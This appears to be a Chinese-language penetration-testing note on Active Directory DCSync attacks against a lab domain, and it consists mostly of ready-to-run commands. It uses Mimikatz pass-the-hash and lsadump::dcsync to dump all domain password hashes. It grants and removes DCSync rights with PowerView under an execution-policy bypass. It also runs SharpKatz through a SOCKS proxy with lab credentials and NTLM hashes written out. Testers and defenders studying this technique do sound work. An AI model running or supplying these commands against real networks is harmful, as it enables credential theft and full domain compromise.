sekurlsa::pth /user:ad-2016$ /domain:vvvv1.com /ntlm:99ac70cee2d4370638397a39c71db91d
经过测试,域控机器账户的权限为普通域用户的权限,但是还有dcsync的权限
lsadump::dcsync /domain:vvvv1.com /all /csv
经过测试,添加这两项的用户可以进行具有dcsync权限。
查询具有dcsync权限的用户
AdFind.exe -s subtree -b "DC=vvvv1,DC=com" -sdna nTSecurityDescriptor -sddl -sddlfilter ;;;"Replicating Directory Changes";; -recmute
使用命令行给用户添加dcsync权限
通过加载Powershell渗透框架下的PowerView.ps1脚本实现。
Powershell -ExecutionPolicy Bypass
Import-Module .PowerView.ps1
Add-DomainObjectAcl -TargetIdentity "DC=vvvv1,DC=com" -PrincipalIdentity man03 -Rights DCSync -Verbose
经过测试,域控的机器账户并没有授予其他人dcsync服务的权限。
但是域管理员账户是拥有授予其他人dcsync服务的权限。
发现man03已经被添加dcsync权限了。
删除man03的dcsync权限
Remove-DomainObjectAcl -TargetIdentity "DC=vvvv1,DC=com" -PrincipalIdentity man03 -Rights DCSync -Verbose
发现已经删除
查询用户权限
Get-DomainObjectAcl -Identity man03 -domain vvvv1.com -ResolveGUIDs
socks代理环境
在socks代理环境中,虽然我们的主机连接了socks代理,但是我们的dns无法解析,域控也没有指定,因此使用dcsync的时候需要指定域控才行。
经过测试,只能使用sharpkatz进行指定域控导出域hash。
SharpKatz.exe --Command dcsync --Domain vvvv1.com --DomainController 10.10.10.10 SharpKatz.exe --Command dcsync --DomainController 10.10.10.100 --AuthUser administrator --AuthDomain ww1.com --AuthPassword admin!@#1456 SharpKatz.exe --Command pth --User administrator --Domain vvvv1.com --NtlmHash f1065013e55bbbeb64ddab768229710d
添加SID,就可以解决无法找到GUID的问题
SharpKatz.exe --Command dcsync --Domain vvvv1.com --DomainController 10.10.10.10 --AuthUser administrator --AuthDomain vvvv1.com --AuthPassword admin!@#4567 --DomainSid S-1-5-21-3315874494-179465980-3412869843